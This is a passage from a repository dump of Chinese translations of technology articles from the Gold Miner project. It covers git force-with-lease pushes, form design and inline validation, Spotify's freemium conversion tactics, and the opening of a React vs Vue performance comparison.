来保护远程仓库，以防有人在工作时做了更改：\n\n```\nssmith$ git rebase master\nFirst, rewinding head to replay your work on top of it...\nApplying: Dev commit #1\nApplying: Dev commit #2\nApplying: Dev commit #3\n\nssmith$ git fetch\nremote: Counting objects: 3, done.\nremote: Compressing objects: 100% (3/3), done.\nremote: Total 3 (delta 0), reused 0 (delta 0)\nUnpacking objects: 100% (3/3), done.\nFrom /tmp/repo\n   2203121..a9a35b3  dev        -> origin/dev\n\nssmith$ git push --force-with-lease=dev:refs/dev-pre-rebase\nTo /tmp/repo\n ! [rejected]        dev -> dev (stale info)\nerror: failed to push some refs to '/tmp/repo'\n```\n\n我们可以看到 `--force-with-lease` 对于有时需要进行强制推送的 git 用户来说，是一个很有用的工具。但是，对于 `--force` 操作的所有风险来说，这并不是万能的，如果不了解它内部的工作及其注意事项，就不应该使用它。\n\n但是，在最常见的用例中，开发人员只要按照正常的方式进行 `pull` 和 `push` 操作即可。偶尔使用下 `rebase`，这个命令提供了一些我们非常需要的，防止强制推送带来破坏的保护功能。因此，我希望在未来版本的 git（但可能 3.0 以前都不会实现），它将成为 `--force` 的默认行为，并且当前的行为将被降级到显示其实际行为的选项中，例如：`--force-replace-remote`。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/form-design-for-complex-applications.md",
    "content": "> * 原文地址：[Form Design for Complex Applications](https://uxdesign.cc/form-design-for-complex-applications-d8a1d025eba6#.l08bq0kbt)\n* 原文作者：[Andrew Coyle](https://uxdesign.cc/@CoyleAndrew?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[特伦](https://www.behance.net/Funtrip)\n* 校对者：[Mark](https://github.com/marcmoore)、[Freya Yu](https://github.com/ZiXYu)\n\n# 如何为复杂应用设计表单\n\n## 呈现表单的13种方法与数据输入的未来\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*RVpQciv-R44ZlAY_dKEXgw.jpeg\">\n\n从复杂的 ERP（Enterprise Resource Planning，企业资源计划）系统到 Facebook，是数据的输入让应用们有了意义。表单在许多时候是用户提交数据的一个必经入口。本文介绍了呈现表单的 13 种不同的方法，并探讨了数据输入的未来。\n\n### 模态对话框（Modal）\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*6zcZuyRJSVwO8KbIg_byLg.jpeg\">\n\n简洁的窗口在低复杂度要求和数据有限的情况下很适用。窗口通常很容易实现，并且会有一个很直接了当的用户体验。然而，复杂的交互往往需要额外的窗口或弹出窗口，这会让用户觉得很混乱。当然，窗口可以让用户暂时不与页面的其他部分交互，直到关闭窗口。如果你有一个较长的表单，可以考虑设立一个单独的页面，或者直接在上下文中添加行内编辑的入口。\n\t\t\t\t\n\n### 多重模态对话框（Multi-modal）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*JV84BrsVxgFzozI-fHWcpQ.jpeg\">\n\n多窗口的表单（也许有一个更好的名称）可呈现为可拖动的窗格，它允许用户一次和多个表单进行交互。用户可以在页面中拖动表单，这使他们可以看到表单下面遮住的内容。多窗口表单可以让重度用户同时输入大量的信息，而不需要打开多个界面或浏览器窗口等等。这样的展示会为初级用户带来一些困扰，因为他们有可能在页面中迷失，或者做出错误的操作。\n\n\n### 侧边栏（lideouts）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*_0eKR6PyTRnil20DAw90Dg.jpeg\">\n\n侧边栏表单通过滑动主界面中的一部分来展现，或者推动内容来适应表单。和窗口一样，这种展现形式与上下文相关，允许用户在主界面中看到相关的信息。侧边栏通常允许表单的长度更长，因为它占据了整个窗口页面的高度。\n\t\t\t\t\n\n\n### 弹出窗口（Popover）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*k6h1MrBIg-DoCIMzcTmvgw.jpeg\">\n\n弹出表单很适合用来实现表单的快速编辑和输入。弹出表单直接在上下文中展现了相关联的数据，因此用户们不会迷失自己在 App 中的位置。\n\t\t\t\n\n\n### 行内表单（Inline）\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*woE3kW5k9ec9w7Aw7XfpHA.jpeg\">\n\n行内表单允许用户在数据展现的地方直接进入和编辑，而不需要转到另一个界面。行内表单一般有一个编辑和阅读模式，或者当用户与单个字段交互的时候，数据可以被编辑并自动保存。\n\n\n\n### 可编辑表格（Editable Table）\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*nsYFv81hhv5tJPG8wIuJ8Q.jpeg\">\n\n与行内表单一样，可编辑表格可以让用户直接在数据展示的地方进行操作。这对于像电子表格或者行列式的发票项目这样平铺数据的情况来说是非常适用的。\n\n\n\n### 可延续式窗口（Takeover）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*uxYT1b0iR93t8M1eIrgVUw.jpeg\">\n\n可延续式窗口允许用户与复杂表单数据交互，并且他们能够迅速回到之前的视图。可延续窗口适用于输入系统级的数据而不需要一个后续视图。\n\n\n\n### 引导式表单（Wizard）\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*bUZdK24WxCYo351JD6h8hQ.jpeg\">\n\n引导式表单允许用户一步一步按顺序填写信息。引导式适用于那些用户在完成填写之后不会再次交互的复杂表单。当用户对过程很不熟悉的时候应该使用引导式的表单。引导式表单是一种典型的、高使用频率的表单，但它的用户体验较差，且给人居高临下的感觉。\n\n\n\n### 章节式表单（Sectioned Form）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*cXVZjXUt4TRoxnc8HDRhsQ.jpeg\">\n\n章节式表单适用于复杂信息的输入。用户可以在表单中看到整个上下文，而不是向导式表单那样的多个页面。用户可以在章节式表单中自由地填写信息，而不需要逐行去填写，这给用户提供了更高的灵活性。\n\n\n\n### 拖放（Drag & Drop）\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*KsKwmpwYGnTbly2JHNy0iQ.jpeg\">\n\n虽然这不是一个典型的表单，但拖放编辑器让用户可以从预设的数据中挑选并拖放到一个所见即所得的视图中。通过模拟现实世界的方式，这样的交互模式也显得更加有趣了。\n\n\n\n### 所见即所得（WYSIWYG）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*jID_5VgTs03MaRaxCD4d3Q.jpeg\">\n\n所见即所得的编辑器被用在像 Microsoft Word 这样的文字编辑器，MailChimp 这样的邮件编辑器，或是 SquareSpace 这样的网页发布工具上。 所见即所得的编辑器允许用户创建富文本而不需要学习 HTML, CSS 和 JS 的相关知识。\n\n\n### 填补空白（Fill in the blanks）\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*TO6FcUsAps09_1x1edIUVw.jpeg\">\n\n有时候追求最佳的实用性，会忽略审美和有趣的交互。为了不造成一个糟糕的用户体验我写了一篇关于[实用性审美](https://uxdesign.cc/aesthetics-matter-75060b7b572)的文章。在句子或段落中填入当前输入的预设样式，可以帮助用户完成输入他们的数据。\n\n\n\n### 对话式用户界面及其未来\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*GZcRV8jv6To_qil0mHSZeQ.jpeg\">\n\n对话式用户界面（CUI）通常由一个“[机器人](https://chatbotsmagazine.com/the-complete-beginner-s-guide-to-chatbots-8280b7b906ca)”来回复任意的语音或文字输入。机器人会回答或提供下一步的表单空间来输入请求。机器学习已经被用来更好地理解输入和定制回复。\n\n关于 CUI 的炒作非常之多。许多设计师认为 CUI 是网络表单的未来，微信的成功就提供了一个可靠的例子。然而，正如 [Yunnuo Cheng 和 Jakob Nielsen 所指出的](https://www.nngroup.com/articles/wechat-integrated-ux/)，**微信整体服务的效力更多来源于友好和方便的图形用户界面而不是对话式用户界面。**\n\nCUI 有很多可用性方面的硬伤：缺乏探索性，不固定的完成步骤。CUI 不是表单的未来，但它是许多[聊天软件](https://operator.com/)的未来，它们已经围绕这条路线找到了收集数据的方法。\n\n期待着融合了 CUI 和图形界面的设计出现。迷你的可嵌入的应用程序可以基于用户的数据输入来展现，它能够在一个复杂的应用程序里起到引导作用，比方说有可能是一个对话窗口的形式。又或者，当用户在程序中迷失了方向的时候 CUI 将会很有用处。为了更深入地了解，[Tomaž Štolfa](https://medium.com/@tomazstolfa) 有一篇[关于 CUI 的很好的文章](https://medium.com/the-layer/the-future-of-conversational-ui-belongs-to-hybrid-interfaces-8a228de0bdb5)。\n\n\n\nOCR 功能的进步，软件自动化的流程——当数据输入变得更标准化，许多表单都会过时。但是，用户界面却总是需要的。我希望这些不同的展现形式可以帮助你制作一个更好的应用。如果我错过了什么，**请记得告诉我。**\n\n这篇文章是关于如何自主创建一个用户界面库的一部分，专注于实用性和审美。如果你感兴趣，你可以[**订阅并接收更新**](http://ohapollo.com/)。\n\n"
  },
  {
    "path": "TODO/forms-need-validation.md",
    "content": "> * 原文地址：[Forms Need Validation](https://uxdesign.cc/forms-need-validation-2ecbccbacea1#.qeqexxaek)\n* 原文作者：[Andrew Coyle](https://uxdesign.cc/@CoyleAndrew?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[ZiXYu](https://github.com/ZiXYu)\n* 校对者：[marcmoore](https://github.com/marcmoore), [zhouzihanntu](https://github.com/zhouzihanntu)\n\n# 每一个表单都渴望验证 #\n\n## 内联验证的设计和错误处理 ##\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/1*Q2ZvXIuTtJePjjAZWdSbmg.jpeg\">\n\n内联验证是一种验证输入有效性并在表格提交前就提供反馈的方式。它 [显著增强](http://alistapart.com/article/inline-validation-in-web-forms) 了表单的可用性和用户体验。本文阐述了有关设计表单的内联验证和错误处理的技术。\n\n#### 表单验证 ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*GkbL2-v4ZnPCkjX_qENIpg.jpeg\">\n\n内联验证的范例\n\n内联验证中比较容易的部分是验证环节。当一个输入条目被成功验证时，我们可以直接用一个简单的复选标记来标记它。而处理内联错误就比较棘手了。\n\n### 显示内联错误 ###\n\n显示内联错误时，应把产生错误的原因以及如何修改它也显示出来。\n\n**显示的方法有很多种，包括如下几种：**\n\n#### 在表单元素上面显示 ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*cdCTiOz5VWoYwEbuoIBPtg.jpeg\">\n\n\n#### 在表单元素下面显示 ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*2iy-a2-Lz6Xtzr51hpE2Dw.jpeg\">\n\n\n#### 与表单元素内联显示 ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*BgIZUKTBA6rZ1-smzNrs_w.jpeg\">\n\n\n#### 用小提示的方法显示 ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*jBz0FJcN4v_xDGRgVBmntA.jpeg\">\n\n\n### [什么时候应该提供内联验证和错误显示？](http://ux.stackexchange.com/questions/74531/form-validation-when-should-error-messages-be-triggered) ###\n\n对于上面的问题，我总结了五个答案，每个答案都有自己的优缺点。显然，快速定位表单中出了问题的部分是很重要的，但是如果采用了不妥当的方式反而容易让问题变得更糟糕。\n\n#### 1. 当用户点击一个表单元素时 ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*J8Fplefyf7-67jf0f23dqA.jpeg\">\n\n当用户点击一个表单元素时直接显示一个错误信息是非常恼人的，同时也容易误导用户，让用户分心。这就好像这个表单在用户还没有说任何话之前就已经在朝用户咆哮了。然而，我们可以选择显示帮助文本来替代错误提示，这样就可以很好的实现这个方式。帮助文本可以一直存在，直到错误的部分被纠正或者输入条目被验证正确。\n\n\n#### 2. 当用户在进行输入时 ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*P-vT9AnP4iSPE6ob6OSmmg.jpeg\">\n\n这个方式会在输入条目被验证有效前一直使用户感到不舒服。用户每输入一个字符就会被骚扰一次，这种方式提供的更多是挫败感而不是合理的帮助。这就像在不停地和一个试图说服你的人争论一般。然而，这种方式在用户输入密码和用户名时，可以对密码强度和用户名可用性提供很有帮助的反馈。\n\n#### 3. 当用户的输入到达字符限制时 ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*smLh69YQQHeAB_V8IjLVoA.jpeg\">\n\n这种验证方式适用于验证可预测字符长度的输入，例如邮政编码，电话号码，银行汇款号码等。然而，这可能会对表单实现 [国际化](https://uxdesign.cc/form-internationalization-techniques-3e4d394cd7e5#.fqjyl772t) 造成一点困扰，因为输入的格式并不总是已知的。\n\n\n#### 4. 当用户离开表单元素时 ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*obM310umFGFCX_WUZm8FYQ.jpeg\">\n\n这种在输入明确完成之后的验证方式可能是最好的默认行为了。然而，它可能打断用户的输入流程，因为它是在用户完成输入移动到下一个表单元素后才提供反馈的。\n\n\n#### 5. 当用户停下输入时 ####\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/600/1*ukUmHTkQeDce4Ae7nHl-5g.jpeg\">\n\n这种方式是在用户停下输入的时候提供反馈的。这种方式可以减轻用户在键入时产生内联错误的不适感，同时又可以在用户暂停或者退出输入时提供合理的反馈。\n\n\n可是，令人惊讶的是现在很多的表单并没有采用任何简单的内联验证和错误处理，更令人惊讶的是它们更多的是用很差劲的方式来实现的。我希望这篇文章可以帮助开发者设计一种更好的网页表单验证方式。如果你们有更有帮助的解决方案，我也很期待听到你的回音。\n\n**如果想要联系我，请随时通过** [**Twitter**](https://twitter.com/CoyleAndrew).\n\n\n这这篇文章作为一个倡导的一部分，目的是搭建一个专注于可用性和美学的UI模式库。[**订阅来获取最新消息**](http://ohapollo.com/)。\n\n\n\n![Markdown](http://p1.bqimg.com/1949/a9581415d9cb68fb.png)\n"
  },
  {
    "path": "TODO/freemium-conversion-rate/freemium-conversion-rate.md",
    "content": ">* 原文链接 : [为什么Spotify的付费转化率比Dropbox高了667%](https://www.process.st/freemium-conversion-rate/)\n* 原文作者 : [Benjamin Brandall](https://www.process.st/author/ben/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [SatanWoo](https://github.com/satanwoo)\n* 校对者: [joyking7](https://github.com/joyking7), [DeadLion](https://github.com/DeadLion)\n\n# 为什么 Spotify 的付费转化率比 Dropbox 高了 667%\n\n在 2015 年的时候，The Fader [报道](http://www.thefader.com/2015/06/10/new-spotify-statistics)了一则关于 Spotify 的重磅新闻：在其 7500 万月活跃用户中，有 2000 万左右是付费用户。\n\n26.6% 的转化率对于免费增值产品来说是令人难以置信的。正如 Jason Chen [所说](http://blog.asmartbear.com/freemium.html)\n\n> “如果说免费用户到收费用户的转化率可以达到 4%，那就已经可以说是很不错了，比如 DropBox。但是通常来说，转化率一般都处于 1% 上下浮动，这还是用户十分活跃的情况下才会达到。”\n\n如果说 1% 是普遍的水准，然后 [DropBox](https://www.process.st/dropbox-vs-google-drive/) 4% 的转化率是非常不错的话，那26.6%绝对可以称的上是令人匪夷所思了。\n\n![](http://7lrzqz.com1.z0.glb.clouddn.com/1.jpg)\n\n至于用户留存率，[80%] (http://expandedramblings.com/index.php/spotify-statistics/)的用户（包括免费用户和付费用户）每周都会多次使用 Spotify。\n\n我写这篇文章的原因在于我在使用 Spotify 仅仅 11 天后，就成为了它的付费用户（似乎我当时还经历了一个 7 天 A/B 测试的试用阶段）。所以，我想从产品、[用户体验](https://medium.com/@benjbrandall/astonishment-expectations-and-reality-in-user-experience-decb6cc18e28)和市场运营的视角来真正探究一下其中深层次的原因，究竟是什么导致了 Spotify 有如此大的魔力让用户乐意为其付费。\n\n所以，出于这次研究的目的，我又重新注册了一个账号。\n\n我用了一个新账号并且从一个新用户的视角来使用 Spotify，一个个去剖析那些容易激发用户付费的诱因，并调查这些诱因是如何保证如此高的转化率以及用户留存率。\n\n_在我们开始前，我们需要留意一点:_ [Slack](https://www.process.st/slack-review/) 也因为它那令人咋舌的用户转化率而出名，[最新的数据](http://www.nirandfar.com/2014/11/slack.html)显示它们的转化率达到了 30% 左右。但要注意的是，Slack 是一个 B2B 软件，它的用户群体相对来说是付费能力和意愿比较强的高端用户。但是Spotify 有超过 [20%](http://www.statista.com/statistics/475821/spotify-users-age-usa/)的用户是处于 13 到 18 岁年龄段。与企业精英不惜代价寻找一种合适的解决方案相比，这个年龄段的用户一般能成为付费用户的可能性很低的...所以，Spotify 真的很令人难以置信。\n\n## 步骤 1：减少使用障碍，通过 Facebook 注册来形成病毒式营销\n\nSpotfiy 通过 Facebook 获取信息的注册方法是令人称道的。对于那些已经在手机上登录 Facebook 的用户来说，这种注册方式可以直接从 Facebook 获取你的用户数据，意味着你就不用再笨拙地输入你的邮件地址和密码。这无疑会减少用户注册账号的抵触心理。\n\n![](http://7lrzqz.com1.z0.glb.clouddn.com/2.png)\n\n只要仅仅一次点击，允许数据导入，你就注册成功了。\n\n除了作为一种注册方式以外，导入 Facebook 的数据还完成了其余两件事：\n\n*   将用户的喜好展示给他们的朋友\n*   可以让你的朋友了解 Spotify，并吸引他们也来注册使用 Spotify\n\n正如 Helpshift [所说](https://www.helpshift.com/blog/app-retention-20000-mau/)\n\n> 80% 的手机用户拥有 Facebook 账户。所以，当一个应用的注册只需要轻轻点击蓝色按钮的时候，用户的转化率瞬间就能有 20% 的提升。\n\n所以使用 Facebook 进行注册，对于 Spotify 的营销来说是起了一个非常关键的作用。正如报道中所说的那样，**[每一个付费用户都带来了3个免费用户](https://www.digitalmusicnews.com/2015/06/16/for-every-paying-subscriber-spotify-adds-5-free-accounts/)**\n\n## 步骤 2：精挑细选的播放列表可以满足特定的需求\n\nSpotify 的目的就是帮助用户发现音乐。它在你初次使用的时候会鼓励你使用它“精心调配”的播放列表。\n\n通过选择一个包含你熟悉歌曲的播放列表，或者一个和你品味相契合的主题，Spotify 会循环播放这些歌，并在其中穿插播放一些你所不了解的歌。\n\n对于一首喜爱却又不了解的歌，人们通常的反应是会去寻找这首歌的歌手、所属专辑或者其他具有相似特征的播放列表。这种寻找的流程在 Spotify 的应用中被设计的极其简单，并且会被推荐到你看到的第一屏当中。\n\n![](http://7lrzqz.com1.z0.glb.clouddn.com/3.png)\n\n但这里有个需要注意的点：**如果你是一个免费用户，那么你就无法在任意时刻切换到你想听的歌。**即使你已经制作了你自己的播放列表，歌曲也会是随机出现的。\n\n所以对于我来说，我成为付费用户的一个主要原因就在于：在 Spotify 那不可思议却又十分“对味”的推荐算法指引下，我就很自然而然的养成了一种新的并在不断改进的听歌风格。在这个过程中，许许多多的歌曲都会被加入到你的听歌列表中。但一旦加入，随机播放列表就再也不会将其剔除。因此，其中有部分可能是你不怎么想要再听到的歌曲。比如我就不再想听到任何 Brain Food 里的歌。我想要的是可以自由自在的挑选歌曲、对它们进行排序，并对我自己的歌曲列表有绝对的控制权。如果我不是付费用户的话，即使我特别想听 Stars Wars Headspace 专辑中的几首歌，但是我所能做的仅仅是不断地随机跳过我不喜欢的歌曲，直到从 Spotify 听到我想听的歌。\n\n人们会尝试去“挑战”这个系统来听到他们想要听的歌，但是 Spotify 让这种想法近乎不可能。一般来说，在一个随机播放的列表中，你可能需要跳过8首歌才能听到你想要的歌。\n\n![](http://7lrzqz.com1.z0.glb.clouddn.com/4.png)\n\n## 步骤3：Spotify 会强调歌曲和你息息相关的\n\n首页下面是根据心情情况和流派推荐的播放列表。作为一名有音乐文化背景的研究生，我了解到人们听音乐的根本原因在于音乐能够加强情感共鸣。最好的音乐作曲家，如 [Lester Bangs](https://en.wikipedia.org/wiki/Lester_Bangs)，就曾写到这样的乐评:音乐就像一剂猛药，伴随并强化着你的听音乐体验。\n\nSpotify 通过一些描述性的分类，并在其中播放与描述非常贴切的音乐来引发共鸣，让听众产生一种“音乐就是我人生不可分割的轨迹”、或“这就是我现在的感受”的心境。\n\n比如在 Chill 心情分类中可以找到一些让你冷静下来的歌曲，每首歌曲又会与地点、'亚情绪'及个人听歌品味相契合。\n\n![](http://7lrzqz.com1.z0.glb.clouddn.com/5.png)\n\n歌曲列表包含艺术、排版以及[文案](http://blog.tryadhawk.com/content-marketing/headline-checklist/)。这些东西对于拥有不同审美的用户来说充满诱惑力。因此对用户来说，很容易就会忽略掉那些不重要的。然后立刻识别出那些诉诸于你的音乐。\n\n通过鼓励你多使用播放列表，并将其和你平时的生活习惯紧紧联系到一起，Spotify 就会变得越来越智能：成为一个能够生成适应任何场景的音乐播放器。**构建一个能融入用户日常生活习惯的产品是一个非常有效[提升用户留存率](https://www.process.st/customer-retention-strategies/)的方法。**而 Spotify 又采用了非常人性化的手段来达成这个目的：通过理解你听音乐时候的场景和心情。比如你聚会时听得音乐；抑或是跑步、学习时听的音乐。一旦你因为这些目的使用过一次播放列表，当失去它的时候你就会非常想念它。\n\n## 步骤4：你把应用“培养”得迎合你的喜好，就相当于做了一笔投资。\n\n我之前看过一篇关于[ Flipboard 的入职流程](http://usabilitygeek.com/first-time-use-how-to-reduce-initial-friction-of-app-usage/)的分析，让用户将应用“培养”\n成迎合他们自身的喜好是一个久经考验能够提升用户留存率的办法。因为在这个过程中，用户相当于在应用内做了一笔“投资”：如果他们不升级成付费用户，就意味着他们之前所耗费的精力和时间都白白浪费了。\n\nSpotify 也采用了这个策略。他们的做法是允许用户将音乐存储到自己的账户中、建立自己的音乐合集、通过 Facebook 以及Spotify 自己的社交网络和朋友进行分享。\n\n**当然，这种投资并是金钱投资，因此你不会感到是被强制消费了。（事实上，现在如果还采用收费合同来绑定用户的行为是不能被容忍的）。但是这种投资对于个人来说，却显得更为重要，因为这是一种跟时间相关的投资，每个人都很珍惜时间，不是吗?**\n\n将 Spotify 和 Facebook 打通又是另外一种投资。在不同的应用之间建立依赖关系意味着你需要承担更多的责任。比如，你的朋友喜欢你的播放列表、喜欢听你喜欢的歌。这就意味着你在你的朋友圈中成为了一个传播品味的大师，可以给朋友宣传最新最酷的潮流。我想，你肯定不会因为不想成为付费用户就失去这得之不易的品味大师的头衔吧！\n\nSpotify 并不会强求你选择一个你喜欢的音乐类型，也不会给你许多听歌的建议，它所做的只是让你自行探索音乐。因为自行探索出来的音乐会让你更加感同身受，而且和别人分享这些音乐的时候，也会让你更有成就感。\n\n![Spotify Personalization](http://7lrzqz.com1.z0.glb.clouddn.com/6.png)\n\n当你在你自己的设备上使用 Spotify 的时候，除了生成个性化的播放列表，Spotify 并不会耗费你大量的精力。事实上，它根本就不需要。Spotify 的推荐算法已经足够强大，能够理解你的需求。而且多半时候，推荐出来的东西都正是你想要的。所以，你只需要在培养属于你自己喜好的 Spotify 的时候耗费一点精力而已。**_你的_Spotify其实比你自己更懂你的喜好**\n\n## 这些要求你进行付费的广告并不会让人感到特别烦扰，但是却巧妙的破坏了听音乐时候的代入感\n\n另一个能让 Spotify 的付费策略成功伪装成是不激进的原因的是（实际上是非常激进的）你没有意识到你究竟会被一些负面因素激怒到何种程度。\n\n![](http://i.imgur.com/CIKcZnV.jpg)\n\n音乐一个非常关键的作用就是它给人带来的代入感。在 Spotify 上，有一些非常流行的播放列表来帮助用户专注于工作，比如学习、[写作](https://www.process.st/writing-process/)或者要求注意力非常集中的情形。\n\n_你听了15分钟的 chill Brian Eno soundscape。突然，一个刺耳的、极不匹配的流行音乐开始播放。紧跟着出现了一个广告，一个人告诉了你一个你现在毫不关心的东西。然后又过了 30 秒，这些乱七八糟的东西终于结束了，你终于可以听你想要的音乐了。如果是你，你是什么感受？。\n\n对我来说，摆脱广告的烦扰并不是一个足够有说服力可以让我进行付费的理由。我并不把它们当成是对听音乐有着巨大负面影响的因素。因为只要等广告结束了，我就能继续听我想听的音乐。\n\n而且和 **Spotify 会让你跳过 8 首歌才能听过你想要的歌曲**相比，广告是微不足道的，更何况它出现的频率也很低，低到很容易被忽略。但尽管如此，广告对于转化率也有着很大的作用。\n\n## 允许用户在30天的试用期下载离线音乐是极其明智的\n\n没有什么可以比把你曾经拥有的东西强行夺走更会让你抓狂。\n\n通过允许用户下载歌曲离线使用，又在一段时间后限制他们只能听在线音乐，**这 30 天试用期带来的自由绝对你产生巨大的落差感**。\n\n一个月的试用期对于用户来说完全足够在这段时间内建立起一个音乐合集。更何况 Spotify 大大减少了探索音乐需要耗费的时间：它每天给用户推荐 20 张专辑，而且还会根据你当前的品味和习惯变化。所以 Spotify 通过试用期，给用户画了很大的一个“饼”：如果你们升级成付费用户的话，你们就能享受到多么棒听歌的特权啊。\n\n一旦获得了离线听歌的特权，用户就会囤积尽可能多的歌曲。用他们的话来说，这是_属于你的音乐_。但囤积的越多，就会让你陷得越深，你再也不会愿意变回免费用户了。\n\n## 无论用户如何使用 Spotify, 最后都会被引导向升级付费\n\n在用户的使用过程中，有时候 Spotify 会明确的要求用户升级为会员，或者提示这个功能仅仅开放给付费用户。\n\n其中，明确的要求你升级（或者说强迫式的推荐）出现在**一些看似可用的功能实质上仅仅开放给付费用户**\n\n![](http://7lrzqz.com1.z0.glb.clouddn.com/8.jpg)\n\n而在如下几种情况当中，Spotify 会采用暗示的方式提示你如果升级到付费用户，使用体验会更好：\n\n![](http://7lrzqz.com1.z0.glb.clouddn.com/9.jpg)\n\n所以即使 Spofity 有着巨大基数的免费用户，也很容易就能说明为什么它的付费转化率如此之高。\n\n**只要你是音乐的发烧友、渴望发现那些令你狂热的音乐、存储音乐并想要打造出专属你品味的 Spotify。那么，是时候升级成付费用户了。（当然，你也可以选择不升级）**\n\n"
  },
  {
    "path": "TODO/from-a-react-point-of-vue-comparing-reactjs-to-vuejs-for-dynamic-tabular-data.md",
    "content": ">* 原文链接 : [\"较为完整的 React.js / Vue.js 的性能比较 Part 1.\" - comparing React.js to Vue.js for dynamic tabular data](https://engineering.footballradar.com/from-a-react-point-of-vue-comparing-reactjs-to-vuejs-for-dynamic-tabular-data/)\n* 原文作者 : [Max Willmott](https://engineering.footballradar.com/author/max-willmott/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [circlelove](http://github.com/circlelove)\n* 校对者:[liangbijie](http://github.com/liangbijie) , [jamweak](http://github.com/jamweak)\n\n# 较为完整的 React.js / Vue.js 的性能比较 Part 1\n\n##### 更新\n\n\n所以我把 React 设在了开发模式。创建和合并了许多建议。这个 PR 还是值得一读的，因为它经历了错误地方而一度得到了正确的返回; [https://github.com/footballradar/VueReactPerf/pull/3](https://github.com/footballradar/VueReactPerf/pull/3).\n\n\n\n对于第二部分的这些测试，请访问： [较为完整的 React.js / Vue.js 的性能比较](https://gold.xitu.io/entry/57691d5d6be3ff006a438e09)\n\n##### 介绍\nplish this, although we are much more experienced with React than we are with Vue.\n\n这个发布的目的是研究 [React](https://facebook.github.io/react/) 和 [Vue](https://vuejs.org/) 作为视图层的区别。选定一个带有频繁更新的数据与固定行数的嵌套表视图作为问题的场景。这很好地表现了我们在 Footbal Radar 面临的前端问题。我们不需要对 React 和 Vue 了解太多来解决这个问题，尽管相比 Vue 来说对于 React 我们已经身经百战了。\n\n\n\n你可以在我们的 GitHub上查看我们的代码 - [https://github.com/footballradar/VueReactPerf](https://github.com/footballradar/VueReactPerf).\n\nThe output of both view libs will look like this:  \n\n二者 view 的结果如下：                                                                                                                           \n![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-21-at-15-02-07.png)\n\n##### 测试\n\n \n我们会对每种方案运行50个比赛。每场比赛每秒更新一次，并将至少增加它的时钟和一个球员单元。另外的属性是随机独立更新。一旦每场比赛开始，我们就会启动时间线记录30秒。明白起见我会转储出一个我的笔记本的规格的截图。\n\n![](https://engineering.footballradar.com/content/images/2016/05/Screen-Shot-2016-05-23-at-13-33-07.png)\n\n\n##### 数据\n\nOur dataset is an array of 5-a-side football games. Each game updates once a second and we’ll allow for a variable number of games. We won’t go into too much detail about how we’re generating the data but if you’re curious check out our `src/react.data.js` and `src/vue.data.js` in the \n我们的数据设置是一个每方5人的足球比赛。每场比赛都是每秒更新一次，我们允许多场比赛同时进行。在这里我们不赘述生产数据的细节，如果你十分好奇，请访问\n[GitHub 